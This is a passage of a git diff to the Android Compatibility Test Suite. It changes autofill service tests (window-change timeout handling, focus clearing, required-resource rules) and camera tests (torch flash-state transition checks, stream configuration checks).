      * {@link AccessibilityEvent#TYPE_WINDOW_STATE_CHANGED}.
      */
-    public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis)
-            throws TimeoutException {
-        return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
-            switch (event.getEventType()) {
-                case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
-                case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
-                    return true;
-            }
-            return false;
-        }, timeoutMillis);
+    public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis) {
+        try {
+            return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
+                switch (event.getEventType()) {
+                    case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
+                    case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
+                        return true;
+                    default:
+                        Log.v(TAG, "waitForWindowChange(): ignoring event " + event);
+                }
+                return false;
+            }, timeoutMillis);
+        } catch (TimeoutException e) {
+            throw new WindowChangeTimeoutException(e, timeoutMillis);
+        }
     }
 
-    public AccessibilityEvent waitForWindowChange(Runnable runnable) throws TimeoutException {
+    public AccessibilityEvent waitForWindowChange(Runnable runnable) {
         return waitForWindowChange(runnable, Timeouts.WINDOW_CHANGE_TIMEOUT_MS);
     }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index 430a533..3253f29 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -167,4 +167,9 @@
     public UiObject2 getLoginButton() throws Exception {
         return mLoginButton;
     }
+
+    @Override
+    public void clearFocus() {
+        syncRunOnUiThread(() -> mParent.requestFocus());
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index ca68a4e..3af85fb 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -353,16 +353,19 @@
         Helper.assertTextIsSanitized(outside2FillNode);
 
         // Move focus around to make sure UI is shown accordingly
+        mActivity.clearFocus();
         mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
         callback.assertUiHiddenEvent(myWebView, usernameChildId);
         mUiBot.assertDatasets("OUT1");
         callback.assertUiShownEvent(mActivity.mOutside1);
 
+        mActivity.clearFocus();
         mActivity.getPasswordInput().click();
         callback.assertUiHiddenEvent(mActivity.mOutside1);
         mUiBot.assertDatasets("PASS");
         final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
 
+        mActivity.clearFocus();
         mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
         callback.assertUiHiddenEvent(myWebView, passwordChildId);
         final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java b/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
new file mode 100644
index 0000000..1225a47
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.RetryableException;
+
+public final class WindowChangeTimeoutException extends RetryableException {
+
+    public WindowChangeTimeoutException(@NonNull Throwable cause, long timeoutMillis) {
+        super(cause, "no window change event in %dms", timeoutMillis);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
index 88c92ed..023a5cd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
@@ -24,9 +24,13 @@
 import android.content.AutofillOptions;
 import android.view.autofill.AutofillManager;
 
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
 
 /////
 ///// NOTE: changes in this class should also be applied to
@@ -42,6 +46,13 @@
 
     private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
 
+    private static final RequiredSystemResourceRule sRequiredResource =
+            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+    private static final RuleChain sRequiredFeatures = RuleChain
+            .outerRule(sRequiredFeatureRule)
+            .around(sRequiredResource);
+
     @BeforeClass
     public static void allowAugmentedAutofill() {
         sContext.getApplicationContext()
@@ -83,6 +94,11 @@
         return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
     }
 
+    @Override
+    protected TestRule getRequiredFeaturesRule() {
+        return sRequiredFeatures;
+    }
+
     protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
         if (mServiceWatcher != null) {
             throw new IllegalStateException("There Can Be Only One!");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
index aa65877..32e6b88 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
@@ -23,9 +23,13 @@
 import android.content.AutofillOptions;
 import android.view.autofill.AutofillManager;
 
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
 
 /////
 ///// NOTE: changes in this class should also be applied to
@@ -41,6 +45,13 @@
 
     private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
 
+    private static final RequiredSystemResourceRule sRequiredResource =
+            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+    private static final RuleChain sRequiredFeatures = RuleChain
+            .outerRule(sRequiredFeatureRule)
+            .around(sRequiredResource);
+
     @BeforeClass
     public static void allowAugmentedAutofill() {
         sContext.getApplicationContext()
@@ -78,6 +89,11 @@
         return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
     }
 
+    @Override
+    protected TestRule getRequiredFeaturesRule() {
+        return sRequiredFeatures;
+    }
+
     protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
         return enableAugmentedService(/* whitelistSelf= */ true);
     }
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index 7705d19..9cf73b8 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -34,5 +34,6 @@
               single test class/method (device side) timeout value set by timeout
               annotation -->
         <option name="test-timeout" value="24000000" />
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 6893703..b9fc256 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -784,7 +784,10 @@
                 break;
         }
 
-        ACameraMetadata_getConstEntry(mChars, streamConfigTag, &entry);
+        auto ret = ACameraMetadata_getConstEntry(mChars, streamConfigTag, &entry);
+        if (ret != ACAMERA_OK) {
+            return false;
+        }
         for (uint32_t i = 0; i < entry.count; i += 4) {
             if (entry.data.i32[i] == format &&
                     entry.data.i32[i+3] == streamConfigOutputTag &&
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index c845568..2a46cf7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -86,6 +86,9 @@
     private static final int NUM_RESULTS_WAIT_TIMEOUT = 100;
     private static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
     private static final int NUM_FRAMES_WAITED_FOR_TORCH = 100;
+    private static final int NUM_PARTIAL_FRAMES_PFC = 2;
+    private static final int NUM_PARTIAL_FRAMES_NPFC = 6;
+
     private static final int NUM_TEST_FOCUS_DISTANCES = 10;
     private static final int NUM_FOCUS_DISTANCES_REPEAT = 3;
     // 5 percent error margin for calibrated device
@@ -525,7 +528,6 @@
                 flashTurnOffTest(listener,
                         /* initiaAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH,
                         /* offAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH);
-
                 flashTurnOffTest(listener,
                         /* initiaAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH,
                         /* offAeControl */CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH);
@@ -1479,73 +1481,123 @@
         // Test that the flash actually turned on continuously.
         mCollector.expectEquals("Flash state result must be FIRED", CaptureResult.FLASH_STATE_FIRED,
                 result.get(CaptureResult.FLASH_STATE));
-
+        mSession.stopRepeating();
         // Turn off the torch
         requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, flashOffAeControl);
         // TODO: jchowdhary@, b/130323585, this line can be removed.
         requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_OFF);
-        CaptureRequest flashOffRequest = requestBuilder.build();
-        int flashModeOffRequests = captureRequestsSynchronized(flashOffRequest, 2, listener,
-                mHandler);
-        // We check that the Nth frame's capture result has flash state as either PARTIAL / READY
-        // and the N+1th frame has its flash state as READY (to take into account flash off ramp
-        // time). For devices supporting per frame control, N is the 1st frame passed into
-        // captureRequestsSynchronized. No two frames can have their flash state as PARTIAL.
-        CaptureResult firstTorchOffResult = null;
-        CaptureResult secondTorchOffResult = null;
-        String torchOffDebugStr = "Timed out waiting for torch off result";
+        int numAllowedTransitionStates = NUM_PARTIAL_FRAMES_NPFC;
         if (mStaticInfo.isPerFrameControlSupported()) {
-            firstTorchOffResult =
-                    listener.getCaptureResultForRequest(flashOffRequest, NUM_RESULTS_WAIT_TIMEOUT);
-            secondTorchOffResult =
-                    listener.getCaptureResultForRequest(flashOffRequest, NUM_RESULTS_WAIT_TIMEOUT);
+           numAllowedTransitionStates = NUM_PARTIAL_FRAMES_PFC;
 
-        } else {
-            CaptureResult maybeFirstNonFiredResult;
-            int i = 0;
-            while (i < flashModeOffRequests - 1) {
-                maybeFirstNonFiredResult = listener.getCaptureResultForRequest(flashOffRequest,
-                        NUM_RESULTS_WAIT_TIMEOUT);
-                i++;
-                Integer flashState = maybeFirstNonFiredResult.get(CaptureResult.FLASH_STATE);
-                torchOffDebugStr = "Flash not turned off in time";
-                if (flashState != CaptureResult.FLASH_STATE_FIRED) {
-                    firstTorchOffResult = maybeFirstNonFiredResult;
-                    secondTorchOffResult = listener.getCaptureResultForRequest(flashOffRequest,
-                            NUM_RESULTS_WAIT_TIMEOUT);
-                    torchOffDebugStr = "Timed out waiting for torch off result";
-                    break;
-                }
-            }
-            // The next results should all have their flash state as READY
-            for(int j = i + 1 ; j < flashModeOffRequests; j++) {
-                CaptureResult expectedReadyResult =
-                        listener.getCaptureResultForRequest(flashOffRequest,
-                                NUM_RESULTS_WAIT_TIMEOUT);
-                mCollector.expectEquals("Flash state must remain READY after torch is turned off",
-                        CaptureResult.FLASH_STATE_READY,
-                        expectedReadyResult.get(CaptureResult.FLASH_STATE));
-            }
         }
-        mCollector.expectNotEquals("first torch off result: " + torchOffDebugStr, null,
-                firstTorchOffResult);
-        mCollector.expectNotEquals("second torch off result: " + torchOffDebugStr, null,
-                secondTorchOffResult);
-        check2TorchOffStates(firstTorchOffResult, secondTorchOffResult);
+        // We submit 2 * numAllowedTransitionStates + 1 requests since we have two torch mode
+        // transitions. The additional request is to check for at least 1 expected (FIRED / READY)
+        // state.
+        int numTorchTestSamples =  2 * numAllowedTransitionStates  + 1;
+        CaptureRequest flashOffRequest = requestBuilder.build();
+        int flashModeOffRequests = captureRequestsSynchronizedBurst(flashOffRequest,
+                numTorchTestSamples, listener, mHandler);
+        // Turn it on again.
+        requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_TORCH);
+        // We need to have CONTROL_AE_MODE be either CONTROL_AE_MODE_ON or CONTROL_AE_MODE_OFF to
+        // turn the torch on again.
+        requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON);
+        CaptureRequest flashModeTorchRequest = requestBuilder.build();
+        int flashModeTorchRequests = captureRequestsSynchronizedBurst(flashModeTorchRequest,
+                numTorchTestSamples, listener, mHandler);
+
+        CaptureResult[] torchStateResults =
+                new CaptureResult[flashModeTorchRequests + flashModeOffRequests];
+        Arrays.fill(torchStateResults, null);
+        int i = 0;
+        for (; i < flashModeOffRequests; i++) {
+            torchStateResults[i] =
+                    listener.getCaptureResultForRequest(flashOffRequest, NUM_RESULTS_WAIT_TIMEOUT);
+            mCollector.expectNotEquals("Result for flashModeOff request null",
+                    torchStateResults[i], null);
+        }
+        for (int j = i; j < torchStateResults.length; j++) {
+            torchStateResults[j] =
+                    listener.getCaptureResultForRequest(flashModeTorchRequest,
+                            NUM_RESULTS_WAIT_TIMEOUT);
+            mCollector.expectNotEquals("Result for flashModeTorch request null",
+                    torchStateResults[j], null);
+        }
+        checkTorchStates(torchStateResults, numAllowedTransitionStates, flashModeOffRequests,
+                flashModeTorchRequests);
     }
 
-    private void check2TorchOffStates(CaptureResult first, CaptureResult second) {
-        Integer flashState = first.get(CaptureResult.FLASH_STATE);
-        // The first frame must have its flash state as FLASH_STATE_READY or
-        // FLASH_STATE_PARTIAL.
-        int [] validStates = new int[] { CaptureRequest.FLASH_STATE_READY,
-              CaptureRequest.FLASH_STATE_PARTIAL};
-        mCollector.expectContains("Flash state must be either PARTIAL or READY", validStates,
-                flashState);
-        // The next frame must have its flash state as FLASH_STATE_READY
-        flashState = second.get(CaptureResult.FLASH_STATE);
-        mCollector.expectEquals("Flash state result must be READY",
-                CaptureResult.FLASH_STATE_READY, flashState);
+    // We check that torch states appear in the order expected. We don't necessarily know how many
+    // times each state might appear, however we make sure that the states do not appear out of
+    // order.
+    private void checkTorchTransitionStates(CaptureResult []torchStateResults, int beg, int end,
+            List<Integer> stateOrder, boolean isTurningOff) {
+        Integer flashState;
+        Integer curIndex = 0;
+        for (int i = beg; i <= end; i++) {
+            flashState = torchStateResults[i].get(CaptureResult.FLASH_STATE);
+            int index = stateOrder.indexOf(flashState);
+            mCollector.expectNotEquals("Invalid state " + flashState + " not in expected list" +
+                    stateOrder, index, -1);
+            mCollector.expectGreaterOrEqual("state " + flashState  + " index " + index +
+                    " is expected to be >= " + curIndex,
+                    curIndex, index);
+            curIndex = index;
+        }
+    }
+
+    private void checkTorchStates(CaptureResult []torchResults, int numAllowedTransitionStates,
+            int numTorchOffSamples, int numTorchOnSamples) {
+        // We test for flash states from request:
+        // Request:       O(0) O(1) O(2) O(n)....O(nOFF) T(0) T(1) T(2) ....T(n) .... T(nON)
+        // Valid Result : P/R  P/R  P/R  R R R...P/R P/R   P/F  P/F  P/F      F         F
+        // For the FLASH_STATE_OFF requests, once FLASH_STATE READY has been seen, for the
+        // transition states while switching the torch off, it must not transition to
+        // FLASH_STATE_PARTIAL again till the next transition period which turns the torch on.
+        // P - FLASH_STATE_PARTIAL
+        // R - FLASH_STATE_READY
+        // F - FLASH_STATE_FIRED
+        // O(k) - kth FLASH_MODE_OFF request
+        // T(k) - kth FLASH_MODE_TORCH request
+        // nOFF - number of torch off samples
+        // nON - number of torch on samples
+        Integer flashState;
+        // Check on -> off transition states
+        List<Integer> onToOffStateOrderList = new ArrayList<Integer>();
+        onToOffStateOrderList.add(CaptureRequest.FLASH_STATE_PARTIAL);
+        onToOffStateOrderList.add(CaptureRequest.FLASH_STATE_READY);
+        checkTorchTransitionStates(torchResults, 0, numAllowedTransitionStates,
+                onToOffStateOrderList, true);
+        // The next frames (before transition) must have its flash state as FLASH_STATE_READY
+        for (int i = numAllowedTransitionStates + 1;
+                i < numTorchOffSamples - numAllowedTransitionStates; i++) {
+            flashState = torchResults[numAllowedTransitionStates].get(CaptureResult.FLASH_STATE);
+            mCollector.expectEquals("flash state result must be READY",
+                    CaptureResult.FLASH_STATE_READY, flashState);
+        }
+        // check off -> on transition states, before the FLASH_MODE_TORCH request was sent
+        List<Integer> offToOnPreStateOrderList = new ArrayList<Integer>();
+        offToOnPreStateOrderList.add(CaptureRequest.FLASH_STATE_READY);
+        offToOnPreStateOrderList.add(CaptureRequest.FLASH_STATE_PARTIAL);
+        checkTorchTransitionStates(torchResults,
+                numTorchOffSamples - numAllowedTransitionStates, numTorchOffSamples - 1,
+                offToOnPreStateOrderList, false);
+        // check off -> on transition states
+        List<Integer> offToOnPostStateOrderList = new ArrayList<Integer>();
+        offToOnPostStateOrderList.add(CaptureRequest.FLASH_STATE_PARTIAL);
+        offToOnPostStateOrderList.add(CaptureRequest.FLASH_STATE_FIRED);
+        checkTorchTransitionStates(torchResults,
+                numTorchOffSamples, numTorchOffSamples + numAllowedTransitionStates,
+                offToOnPostStateOrderList, false);
+        // check on states after off -> on transition
+        // The next frames must have its flash state as FLASH_STATE_FIRED
+        for (int i = numTorchOffSamples + numAllowedTransitionStates + 1;
+                i < torchResults.length - 1; i++) {
+            flashState = torchResults[i].get(CaptureResult.FLASH_STATE);
+            mCollector.expectEquals("flash state result must be FIRED for frame " + i,
+                    CaptureRequest.FLASH_STATE_FIRED, flashState);
+        }
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 55b9d24..a5ea222 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -145,14 +145,15 @@
     /**
      * Test that the available stream configurations contain a few required formats and sizes.
      */
+    @CddTest(requirement="7.5.1/C-1-2")
     public void testAvailableStreamConfigs() throws Exception {
-        int counter = 0;
-        for (String id : mAllCameraIds) {
-            CameraCharacteristics c = mAllStaticInfo.get(id).getCharacteristics();
+        boolean firstBackFacingCamera = true;
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             StreamConfigurationMap config =
                     c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             assertNotNull(String.format("No stream configuration map found for: ID %s",
-                    mAllCameraIds[counter]), config);
+                    mAllCameraIds[i]), config);
             int[] outputFormats = config.getOutputFormats();
 
             int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
@@ -161,26 +162,26 @@
 
             // Check required formats exist (JPEG, and YUV_420_888).
             if (!arrayContains(actualCapabilities, BC)) {
-                Log.i(TAG, "Camera " + mAllCameraIds[counter] +
+                Log.i(TAG, "Camera " + mAllCameraIds[i] +
                     ": BACKWARD_COMPATIBLE capability not supported, skipping test");
                 continue;
             }
 
             boolean isMonochromeWithY8 = arrayContains(actualCapabilities, MONOCHROME)
                     && arrayContains(outputFormats, ImageFormat.Y8);
-            boolean isHiddenPhysicalCamera = !arrayContains(mCameraIds, id);
+            boolean isHiddenPhysicalCamera = !arrayContains(mCameraIds, mAllCameraIds[i]);
             boolean supportHeic = arrayContains(outputFormats, ImageFormat.HEIC);
 
             assertArrayContains(
                     String.format("No valid YUV_420_888 preview formats found for: ID %s",
-                            mAllCameraIds[counter]), outputFormats, ImageFormat.YUV_420_888);
+                            mAllCameraIds[i]), outputFormats, ImageFormat.YUV_420_888);
             if (isMonochromeWithY8) {
                 assertArrayContains(
                         String.format("No valid Y8 preview formats found for: ID %s",
-                                mAllCameraIds[counter]), outputFormats, ImageFormat.Y8);
+                                mAllCameraIds[i]), outputFormats, ImageFormat.Y8);
             }
             assertArrayContains(String.format("No JPEG image format for: ID %s",
-                    mAllCameraIds[counter]), outputFormats, ImageFormat.JPEG);
+                    mAllCameraIds[i]), outputFormats, ImageFormat.JPEG);
 
             Size[] yuvSizes = config.getOutputSizes(ImageFormat.YUV_420_888);
             Size[] y8Sizes = config.getOutputSizes(ImageFormat.Y8);
@@ -190,11 +191,11 @@
 
             CameraTestUtils.assertArrayNotEmpty(yuvSizes,
                     String.format("No sizes for preview format %x for: ID %s",
-                            ImageFormat.YUV_420_888, mAllCameraIds[counter]));
+                            ImageFormat.YUV_420_888, mAllCameraIds[i]));
             if (isMonochromeWithY8) {
                 CameraTestUtils.assertArrayNotEmpty(y8Sizes,
                     String.format("No sizes for preview format %x for: ID %s",
-                            ImageFormat.Y8, mAllCameraIds[counter]));
+                            ImageFormat.Y8, mAllCameraIds[i]));
             }
 
             Rect activeRect = CameraTestUtils.getValueNotNull(
@@ -206,7 +207,8 @@
             int activeArrayWidth = activeRect.width();
             long sensorResolution = pixelArraySize.getHeight() * pixelArraySize.getWidth() ;
             Integer lensFacing = c.get(CameraCharacteristics.LENS_FACING);
-            assertNotNull("Can't get lens facing info for camera id: " + mAllCameraIds[counter], lensFacing);
+            assertNotNull("Can't get lens facing info for camera id: " + mAllCameraIds[i],
+                    lensFacing);
 
             // Check that the sensor sizes are atleast what the CDD specifies
             switch(lensFacing) {
@@ -216,10 +218,13 @@
                             sensorResolution >= MIN_FRONT_SENSOR_RESOLUTION);
                     break;
                 case CameraCharacteristics.LENS_FACING_BACK:
-                    assertTrue("Back Sensor resolution should be at least "
-                            + MIN_BACK_SENSOR_RESOLUTION +
-                            " pixels, is "+ sensorResolution,
-                            sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+                    if (firstBackFacingCamera) {
+                        assertTrue("Back Sensor resolution should be at least "
+                                + MIN_BACK_SENSOR_RESOLUTION +
+                                " pixels, is "+ sensorResolution,
+                                sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+                        firstBackFacingCamera = false;
+                    }
                     break;
                 default:
                     break;
@@ -231,12 +236,12 @@
                     activeArrayHeight >= FULLHD.getHeight()) {
                 assertArrayContainsAnyOf(String.format(
                         "Required FULLHD size not found for format %x for: ID %s",
-                        ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes,
+                        ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes,
                         new Size[] {FULLHD, FULLHD_ALT});
                 if (supportHeic) {
                     assertArrayContainsAnyOf(String.format(
                             "Required FULLHD size not found for format %x for: ID %s",
-                            ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes,
+                            ImageFormat.HEIC, mAllCameraIds[i]), heicSizes,
                             new Size[] {FULLHD, FULLHD_ALT});
                 }
             }
@@ -245,11 +250,11 @@
                     activeArrayHeight >= HD.getHeight()) {
                 assertArrayContains(String.format(
                         "Required HD size not found for format %x for: ID %s",
-                        ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes, HD);
+                        ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes, HD);
                 if (supportHeic) {
                     assertArrayContains(String.format(
                             "Required HD size not found for format %x for: ID %s",
-                            ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes, HD);
+                            ImageFormat.HEIC, mAllCameraIds[i]), heicSizes, HD);
                 }
             }
 
@@ -257,11 +262,11 @@
                     activeArrayHeight >= VGA.getHeight()) {
                 assertArrayContains(String.format(
                         "Required VGA size not found for format %x for: ID %s",
-                        ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes, VGA);
+                        ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes, VGA);
                 if (supportHeic) {
                     assertArrayContains(String.format(
                             "Required VGA size not found for format %x for: ID %s",
-                            ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes, VGA);
+                            ImageFormat.HEIC, mAllCameraIds[i]), heicSizes, VGA);
                 }
             }
 
@@ -269,11 +274,11 @@
                     activeArrayHeight >= QVGA.getHeight()) {
                 assertArrayContains(String.format(
                         "Required QVGA size not found for format %x for: ID %s",
-                        ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes, QVGA);
+                        ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes, QVGA);
                 if (supportHeic) {
                     assertArrayContains(String.format(
                             "Required QVGA size not found for format %x for: ID %s",
-                            ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes, QVGA);
+                            ImageFormat.HEIC, mAllCameraIds[i]), heicSizes, QVGA);
                 }
 
             }
@@ -289,7 +294,7 @@
                 // For hidden physical camera, since we don't require CamcorderProfile to be
                 // available, use FULLHD 30 as maximum video size as well.
                 List<Size> videoSizes = CameraTestUtils.getSupportedVideoSizes(
-                        mAllCameraIds[counter], mCameraManager, FULLHD);
+                        mAllCameraIds[i], mCameraManager, FULLHD);
                 for (Size sz : videoSizes) {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, sz);
@@ -300,14 +305,14 @@
                     }
                 }
             } else {
-                int cameraId = Integer.valueOf(mAllCameraIds[counter]);
+                int cameraId = Integer.valueOf(mAllCameraIds[i]);
                 CamcorderProfile maxVideoProfile = CamcorderProfile.get(
                         cameraId, CamcorderProfile.QUALITY_HIGH);
                 maxVideoSize = new Size(
                         maxVideoProfile.videoFrameWidth, maxVideoProfile.videoFrameHeight);
             }
             if (maxVideoSize == null) {
-                fail("Camera " + mAllCameraIds[counter] + " does not support any 30fps video output");
+                fail("Camera " + mAllCameraIds[i] + " does not support any 30fps video output");
             }
 
             // Handle FullHD special case first
@@ -377,8 +382,6 @@
                     }
                 }
             }
-
-            counter++;
         }
     }
 
@@ -767,14 +770,14 @@
     }
 
     public void testRecommendedStreamConfigurations() throws Exception {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     actualCapabilities);
 
             if (!arrayContains(actualCapabilities, BC)) {
-                Log.i(TAG, "Camera " + mAllCameraIds[counter] +
+                Log.i(TAG, "Camera " + mAllCameraIds[i] +
                         ": BACKWARD_COMPATIBLE capability not supported, skipping test");
                 continue;
             }
@@ -821,46 +824,44 @@
             if ((previewConfig == null) && (videoRecordingConfig == null) &&
                     (videoSnapshotConfig == null) && (snapshotConfig == null) &&
                     (rawConfig == null) && (zslConfig == null) && (lowLatencyConfig == null)) {
-                Log.i(TAG, "Camera " + mAllCameraIds[counter] +
+                Log.i(TAG, "Camera " + mAllCameraIds[i] +
                         " doesn't support recommended configurations, skipping test");
                 continue;
             }
 
             assertNotNull(String.format("Mandatory recommended preview configuration map not " +
-                    "found for: ID %s", mAllCameraIds[counter]), previewConfig);
-            verifyRecommendedPreviewConfiguration(mAllCameraIds[counter], c, previewConfig);
+                    "found for: ID %s", mAllCameraIds[i]), previewConfig);
+            verifyRecommendedPreviewConfiguration(mAllCameraIds[i], c, previewConfig);
 
             assertNotNull(String.format("Mandatory recommended video recording configuration map " +
-                    "not found for: ID %s", mAllCameraIds[counter]), videoRecordingConfig);
-            verifyRecommendedVideoConfiguration(mAllCameraIds[counter], c, videoRecordingConfig);
+                    "not found for: ID %s", mAllCameraIds[i]), videoRecordingConfig);
+            verifyRecommendedVideoConfiguration(mAllCameraIds[i], c, videoRecordingConfig);
 
             assertNotNull(String.format("Mandatory recommended video snapshot configuration map " +
-                    "not found for: ID %s", mAllCameraIds[counter]), videoSnapshotConfig);
-            verifyRecommendedVideoSnapshotConfiguration(mAllCameraIds[counter], c, videoSnapshotConfig,
+                    "not found for: ID %s", mAllCameraIds[i]), videoSnapshotConfig);
+            verifyRecommendedVideoSnapshotConfiguration(mAllCameraIds[i], c, videoSnapshotConfig,
                     videoRecordingConfig);
 
             assertNotNull(String.format("Mandatory recommended snapshot configuration map not " +
-                    "found for: ID %s", mAllCameraIds[counter]), snapshotConfig);
-            verifyRecommendedSnapshotConfiguration(mAllCameraIds[counter], c, snapshotConfig);
+                    "found for: ID %s", mAllCameraIds[i]), snapshotConfig);
+            verifyRecommendedSnapshotConfiguration(mAllCameraIds[i], c, snapshotConfig);
 
             if (arrayContains(actualCapabilities, RAW)) {
                 assertNotNull(String.format("Mandatory recommended raw configuration map not " +
-                        "found for: ID %s", mAllCameraIds[counter]), rawConfig);
-                verifyRecommendedRawConfiguration(mAllCameraIds[counter], c, rawConfig);
+                        "found for: ID %s", mAllCameraIds[i]), rawConfig);
+                verifyRecommendedRawConfiguration(mAllCameraIds[i], c, rawConfig);
             }
 
             if (arrayContains(actualCapabilities, OPAQUE_REPROCESS) ||
                     arrayContains(actualCapabilities, YUV_REPROCESS)) {
